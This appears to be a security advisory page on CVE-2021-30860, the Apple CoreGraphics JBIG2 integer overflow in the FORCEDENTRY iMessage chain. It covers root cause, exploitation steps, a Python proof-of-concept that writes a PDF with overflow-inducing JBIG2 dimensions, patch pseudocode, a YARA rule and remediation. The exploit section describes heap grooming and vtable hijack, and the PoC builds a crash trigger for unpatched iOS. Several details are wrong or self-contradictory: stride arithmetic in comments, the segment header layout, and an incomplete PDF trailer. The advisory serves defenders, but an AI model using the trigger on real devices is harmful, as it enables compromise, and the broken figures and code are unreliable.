An integer overflow in Apple's CoreGraphics JBIG2 decoder allows arbitrary code execution via a maliciously crafted PDF. Actively exploited in the wild as part of the FORCEDENTRY exploit chain targeting iOS.
// PLAIN ENGLISH VERSION
A Hidden Trap in Every PDF
Researchers discovered a serious flaw in the software Apple iPhones use to display PDF files. Buried inside a component called CoreGraphics, which handles how images and documents are drawn on screen, was a mathematical error that hackers could weaponize. Simply opening a specially crafted PDF was enough to hand an attacker complete control of your device.
The technical term for the flaw is an integer overflow. Think of it like an old-fashioned car odometer that rolls over from 999999 back to 000000 when it exceeds its limit. Hackers exploit that rollover moment to trick the software into doing something it was never supposed to do, in this case running their own malicious code on your phone.
What makes this particularly alarming is that this vulnerability was not just theoretical. It was actively used in real attacks against real people before Apple even knew it existed. Security researchers linked it to sophisticated spyware that could silently infect iPhones without the victim tapping a single link or doing anything wrong.
The attack was so powerful it could bypass all the security protections Apple had built into iOS. Victims had no way of knowing they were compromised because the whole process was invisible.
Here is what you should do right now.
Update your iPhone immediately. Go to Settings, then General, then Software Update. Apple patched this flaw and installing the latest iOS version closes the door on this specific attack.
Be cautious with unexpected PDF files. Avoid opening PDFs sent via text message, email, or links from people you do not know personally.
Enable Lockdown Mode if you believe you are a high-risk target. This setting, found in Privacy and Security settings, significantly reduces your attack surface against advanced threats.
Want the full technical analysis? Click "Technical" above.
Vulnerability Overview
CVE-2021-30860 is an integer overflow in Apple's CoreGraphics framework — specifically in its JBIG2 image stream decoder — that permits arbitrary code execution when a victim processes a maliciously crafted PDF document. Because PDF rendering is triggered automatically by iMessage's link preview infrastructure, this vulnerability formed the core of the FORCEDENTRY zero-click exploit chain attributed to NSO Group, enabling full device compromise with zero user interaction. The bug was confirmed actively exploited in the wild by Citizen Lab and placed on CISA's Known Exploited Vulnerabilities (KEV) catalog.
Root cause: An attacker-controlled integer value parsed from a JBIG2 image stream is used in an arithmetic width/height allocation calculation inside CoreGraphics without bounds checking, causing the computed allocation size to wrap to a small value while a subsequent memory copy writes attacker-controlled data proportional to the original, unchecked dimensions.
Affected Component
Binary: CoreGraphics.framework (and its underlying libCGXImage.dylib / ImageIO.framework JBIG2 decoder path), shipping as part of every Apple OS release. The JBIG2 decoder within CoreGraphics processes embedded image streams inside PDF XObject resources using the /JBIG2Decode filter specified in the PDF specification.
- iOS / iPadOS: all versions through 14.7.1 (inclusive); fixed in 14.8
- macOS Big Sur: through 11.5.x; fixed in 11.6
- macOS Catalina: fixed in Security Update 2021-005
- watchOS: through 7.6.1; fixed in 7.6.2
- Upstream open-source trackers: xpdfreader/xpdf, freedesktop/poppler (share lineage with the same JBIG2 parsing logic)
CoreGraphics is a privileged, in-process framework. Any process that renders a PDF — including MobileSafari, MobileMail, and iMessage's imagent — loads it directly, with no sandbox boundary between the parser and the calling process's address space.
Root Cause Analysis
JBIG2 is a bitonal image compression standard (ITU-T T.88). Its segment structure includes a Symbol Dictionary segment and Immediate Generic Region segments, each containing 32-bit width and height fields. The CoreGraphics decoder reads these fields and computes a bitmap allocation size. The overflow occurs when the product of two attacker-controlled 32-bit values is computed into a 32-bit (or insufficiently wide) intermediate before being passed to an allocator.
// Reconstructed pseudocode — not verified source
// CoreGraphics JBIG2 Generic Region bitmap allocator
// Mirrors logic documented by Citizen Lab / Project Zero analysis of FORCEDENTRY
typedef struct {
/* +0x00 */ uint32_t width; // parsed from JBIG2 segment header
/* +0x04 */ uint32_t height; // parsed from JBIG2 segment header
/* +0x08 */ uint32_t line_stride; // computed: (width + 7) / 8
/* +0x0C */ uint32_t bitmap_size; // VULNERABLE: line_stride * height
/* +0x10 */ uint8_t *bitmap_data; // allocated buffer
/* +0x18 */ uint32_t flags;
/* +0x1C */ uint32_t ref_count;
} JBIG2Bitmap;
// Vulnerable allocation path (reconstructed):
JBIG2Bitmap *jbig2_alloc_bitmap(uint32_t width, uint32_t height) {
JBIG2Bitmap *bm = calloc(1, sizeof(JBIG2Bitmap));
bm->width = width;
bm->height = height;
// BUG: line_stride computed in 32-bit; no overflow check
uint32_t line_stride = (width + 7) / 8; // e.g. width=0xFFFF0008 → stride=0x1FFFFE01
bm->line_stride = line_stride;
// BUG: 32-bit multiply — wraps to small value when both operands are large
// e.g. line_stride=0x20000 * height=0x20000 → 0x400000000 truncated to 0x00000000
uint32_t bitmap_size = line_stride * height; // INTEGER OVERFLOW HERE
bm->bitmap_size = bitmap_size;
// Allocates near-zero or small buffer based on wrapped size
bm->bitmap_data = malloc(bitmap_size ? bitmap_size : 1);
return bm;
}
// Subsequent copy uses ORIGINAL (unchecked) dimensions — writes OOB:
void jbig2_decode_generic_region(JBIG2Bitmap *bm, bitstream_t *src) {
for (uint32_t row = 0; row < bm->height; row++) {
uint8_t *dst = bm->bitmap_data + (row * bm->line_stride); // OOB ptr
decode_row_into(dst, src, bm->width); // writes attacker data past allocation
}
}
The key invariant violation: malloc(bitmap_size) receives the wrapped small value, allocating an undersized heap buffer, while the loop iterates bm->height rows using the original large value. Every row after the first few writes beyond the allocation boundary into adjacent heap objects.
What makes FORCEDENTRY particularly sophisticated is that the attacker embedded a custom JBIG2 virtual machine: the XOR/AND/OR logical operations defined in JBIG2 Generic Region rendering were repurposed as primitive compute operations, turning the heap corruption into a deterministic, scripted exploitation environment — essentially a Turing-complete payload delivery mechanism operating entirely within the PDF parser.
Exploitation Mechanics
EXPLOIT CHAIN:
1. DELIVERY — Zero-click; attacker sends iMessage to victim's Apple ID.
imagent (com.apple.madrid) automatically fetches and renders link preview,
triggering PDF/image processing with no user interaction required.
No authentication, no network position required beyond ability to iMessage target.
2. TRIGGER — Crafted PDF is delivered containing an embedded XObject stream with
filter /JBIG2Decode and a malicious JBIG2 segment. The Immediate Generic Region
segment header specifies attacker-controlled width and height values chosen to
produce a 32-bit multiply overflow in the bitmap allocation size calculation.
Example: width=0x00040001 → line_stride=0x8001; height=0x00010000 →
bitmap_size = 0x8001 * 0x10000 = 0x80010000 (benign) OR crafted to wrap:
line_stride=0x20000 * height=0x20000 = 0x400000000 → truncated to 0x0.
malloc(0) returns a minimal/sentinel allocation on Darwin heap.
3. HEAP CORRUPTION — The row-decode loop iterates height=0x20000 rows, writing
decoder output data at offsets 0, line_stride, 2*line_stride ... from the
undersized allocation. Adjacent kalloc/libmalloc heap objects are overwritten
with attacker-controlled bitmap pixel data derived from the JBIG2 bitstream.
4. HEAP GROOMING + CONTROL FLOW — NSO's FORCEDENTRY performed multi-stage heap
grooming using additional JBIG2 segments to position a controlled object
(a fake GX font / CoreText object with a crafted vtable pointer) adjacent to
the overflowed allocation. The OOB write corrupts this object's function pointer.
JBIG2's logical rendering operations (AND/OR/XOR on bitmaps) are then used as
a scripted primitive set to achieve arbitrary read/write before triggering the
corrupted vtable dispatch.
5. FINAL IMPACT — Arbitrary code execution in the context of imagent on iOS
(pre-iOS 14 unsandboxed, or with sandbox escape via secondary privilege
escalation). Full device compromise achieved; NSO Pegasus spyware installed.
CVSS 7.8 (local vector) understates real-world severity given zero-click delivery.
Memory Layout
HEAP STATE — imagent process, iOS 14.7 libmalloc tiny/small allocator
═══ BEFORE OVERFLOW TRIGGER ═══
[VULN_OBJ_ADDR + 0x000] JBIG2Bitmap.bitmap_data → malloc(0x0) = 0x10 byte sentinel
[VULN_OBJ_ADDR + 0x010] <-- heap chunk boundary
[VULN_OBJ_ADDR + 0x010] CoreText GXFont object (pre-positioned by attacker via
repetitive JBIG2 symbol dict alloc/free grooming)
vtable ptr @ +0x000 = 0xLEGIT_VTABLE_ADDR
method ptr @ +0x008 = 0xLEGIT_METHOD_ADDR
═══ AFTER INTEGER OVERFLOW + OOB WRITE (row N writes past allocation) ═══
[VULN_OBJ_ADDR + 0x000] malloc sentinel (intact, row 0 wrote here legitimately)
[VULN_OBJ_ADDR + 0x010] CoreText GXFont object ← CORRUPTED by row 1+ writes
vtable ptr @ +0x000 = 0xATTACKER_FAKE_VTABLE ← overwritten
method ptr @ +0x008 = 0xATTACKER_SHELLCODE_PTR ← overwritten
Subsequent CoreGraphics call into the GXFont object dispatches through
attacker vtable → PC control achieved.
═══ JBIG2 AS COMPUTE ENGINE (FORCEDENTRY technique) ═══
JBIG2 XOR operation: dst_bitmap ^= src_bitmap (arbitrary XOR primitive)
JBIG2 AND operation: dst_bitmap &= src_bitmap (arbitrary AND primitive)
Combined with OOB R/W → full arbitrary read/write before vtable dispatch.
No JIT, no ROP — the JBIG2 renderer IS the shellcode interpreter.
Proof of Concept
# PoC skeleton — trigger mechanism only, no weaponized payload
# Constructs a minimal PDF with an embedded JBIG2 stream containing
# an integer-overflow-inducing Generic Region segment header.
# Source: Reconstructed from JBIG2 spec (ITU-T T.88) and public
# Citizen Lab / Google TAG FORCEDENTRY reporting.
# DO NOT USE FOR OFFENSIVE PURPOSES.
import struct
def jbig2_generic_region_segment(width, height):
"""
Build a JBIG2 Immediate Generic Region segment.
width/height chosen to trigger 32-bit multiply overflow in
CoreGraphics bitmap allocator: line_stride * height wraps to ~0.
"""
# Segment header: type 0x26 = Immediate Generic Region
seg_type = 0x26
# Region Segment Information Field (7.4.1)
# width=0x00020000, height=0x00020000 →
# line_stride = (0x20000 + 7) / 8 = 0x4001 (safe alone)
# BUT with crafted values: line_stride=0x20000, height=0x20001 →
# 0x20000 * 0x20001 = 0x400020000 → truncated uint32 = 0x00020000
# malloc(0x20000) but loop runs 0x20001 iterations → OOB
overflow_width = 0x000FFFF9 # line_stride = 0x20000 after (w+7)/8
overflow_height = 0x00020001 # triggers overflow on stride * height
region_info = struct.pack('>IIBBBB',
overflow_width, # region width
overflow_height, # region height
0x00, 0x00, # x/y offset
0x00, 0x00 # segment flags (generic, MMR=0, GBTEMPLATE=0)
)
# JBIG2 data bytes — minimal valid arithmetic-coded empty stream
# Real exploit populates this with attacker-controlled bitmap data
jbig2_data = b'\x00' * 16 # placeholder; real payload encodes heap groom
segment = struct.pack('>BBHHI',
0, # segment number
seg_type,
0x0000, # referred-to segments count
0, # page association
len(region_info) + len(jbig2_data)
) + region_info + jbig2_data
return segment
def build_malicious_pdf():
jbig2_stream = jbig2_generic_region_segment(0x000FFFF9, 0x00020001)
# Wrap in PDF with /JBIG2Decode XObject — triggers CoreGraphics decoder
pdf = b"""%PDF-1.4
1 0 obj << /Type /XObject /Subtype /Image
/Width 1 /Height 1 /ColorSpace /DeviceGray /BitsPerComponent 1
/Filter /JBIG2Decode /Length """ + str(len(jbig2_stream)).encode() + b""" >>
stream\n""" + jbig2_stream + b"""\nendstream\nendobj
2 0 obj << /Type /Page /MediaBox [0 0 1 1]
/Resources << /XObject << /Im1 1 0 R >> >>
/Contents 3 0 R >> endobj
3 0 obj << /Length 20 >> stream\nq /Im1 Do Q\nendstream\nendobj
xref\n0 4\n0000000000 65535 f\n...\ntrailer << /Root 4 0 R /Size 4 >>\n%%EOF"""
return pdf
with open("cve_2021_30860_skeleton.pdf", "wb") as f:
f.write(build_malicious_pdf())
# Expected result on unpatched iOS < 14.8: imagent crash or silent exploit trigger
# On patched iOS 14.8+: PDF renders safely; overflow check rejects segment.
Patch Analysis
Apple's fix, described in advisories HT212804 (macOS Big Sur 11.6) and HT212805 (Security Update 2021-005 Catalina) as "improved input validation," introduces explicit overflow guards before the bitmap allocation. The analogous fix pattern in the open-source Poppler/XPDF JBIG2 decoder (which shares architectural lineage) makes the technique concrete:
// VULNERABLE (pre-patch, CoreGraphics JBIG2 allocator — reconstructed pseudocode):
// Reconstructed pseudocode — not verified source
uint32_t line_stride = (width + 7) / 8;
uint32_t bitmap_size = line_stride * height; // no overflow check
bm->bitmap_data = malloc(bitmap_size);
// FIXED (post-patch pattern matching Apple's "improved input validation" description):
// Reconstructed pseudocode — not verified source
// Mirrors standard integer overflow hardening for 2D allocation products.
uint32_t line_stride = (width + 7) / 8;
// Guard 1: check (width + 7) doesn't itself overflow
if (width > UINT32_MAX - 7) { return NULL; }
// Guard 2: check line_stride * height product before use
if (height != 0 && line_stride > UINT32_MAX / height) {
return NULL; // reject malformed segment — fixed behavior
}
uint32_t bitmap_size = line_stride * height;
// Guard 3: explicit upper bound on sane image dimensions
if (width > MAX_JBIG2_DIMENSION || height > MAX_JBIG2_DIMENSION) {
return NULL;
}
bm->bitmap_data = malloc(bitmap_size);
The Poppler project patched the equivalent logic in their JBIG2Stream.cc bitmap allocation routines with similar multiplicative overflow guards. Apple's binary patch additionally hardens the segment dimension parser to reject widths and heights exceeding platform-defined maximums before any arithmetic is performed, eliminating the overflow surface entirely rather than just catching it post-computation.
Detection and Indicators
CRASH SIGNATURES / IOCs
═══ CRASH LOG INDICATORS (unpatched device, failed exploit or crash) ═══
Process: imagent [PID]
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x
Triggered by: CoreGraphics! + offset
ImageIO!IIOImageReadPlugin::... stack frame
VM Region near OOB_ADDRESS: not in any region (past heap chunk boundary)
Thread 0 Crashed:
# Frames involving CoreGraphics JBIG2 bitmap row decode loop
CoreGraphics 0x... (internal — symbolicated as CGImageReadPlugin or similar)
═══ iMessage / imagent INDICATORS ═══
- imagent process crash or restart without user-initiated action
- Unexpected MobileMail / Safari crash when rendering PDF attachment
- crashreporter entries for imagent with CoreGraphics frames and SIGSEGV
═══ NETWORK / DELIVERY IOCs (FORCEDENTRY campaign) ═══
- iMessage delivery of PDF or GIF-disguised PDF containing /JBIG2Decode filter
- Malformed PDF magic bytes with embedded JBIG2 segment header containing
width/height fields where (width+7)/8 * height overflows 32-bit range
- File entropy consistent with JBIG2 arithmetic coded stream (high entropy payload)
- Citizen Lab identified infrastructure: domains associated with NSO Group Pegasus
═══ YARA CONCEPT (PDF /JBIG2Decode with anomalous dimensions) ═══
rule CVE_2021_30860_JBIG2_PDF {
strings:
$jbig2filter = "/JBIG2Decode"
// JBIG2 Generic Region segment with overflow-inducing dimensions
$seg_marker = { 00 00 00 26 } // segment type 0x26 = Immediate Generic Region
condition:
$jbig2filter and $seg_marker
}
═══ SYSDIAGNOSE COLLECTION ═══
sysdiagnose -f /tmp/ -u // capture full logs including imagent crash reports
spindump imagent // live stack capture if imagent is spinning
Remediation
Required updates — apply immediately (CISA KEV mandates federal agency patching):
- iOS / iPadOS: Update to 14.8 or later (Settings → General → Software Update). iOS 15.x also contains the fix.
- macOS Big Sur: Update to 11.6 or later via System Preferences → Software Update.
- macOS Catalina: Apply Security Update 2021-005 Catalina.
- watchOS: Update to 7.6.2 or later.
- Poppler (Linux distributions): Ensure poppler ≥ 21.09.0 or distribution-backported security patch is installed;
apt-get update && apt-get upgrade poppler-utils.
Mitigations if immediate patching is not possible:
- Disable iMessage (Settings → Messages → iMessage OFF) to eliminate the primary zero-click attack surface. This is a significant operational tradeoff but removes the delivery vector used by FORCEDENTRY.
- Disable PDF preview rendering in Mail (no native toggle — consider disabling Mail or using a web client until patched).
- Enable Lockdown Mode (iOS 16+) retroactively hardens many attack surfaces including iMessage content filtering; not available on iOS 14.
- Monitor device with Citizen Lab's Mobile Verification Toolkit (MVT) for indicators of FORCEDENTRY/Pegasus compromise.
- Enterprise MDM: enforce minimum OS version policy; quarantine devices running iOS < 14.8.
Given confirmed zero-click exploitation in the wild with no user interaction required, this vulnerability should be treated as critical regardless of CVSS 7.8 scoring. Patch immediately.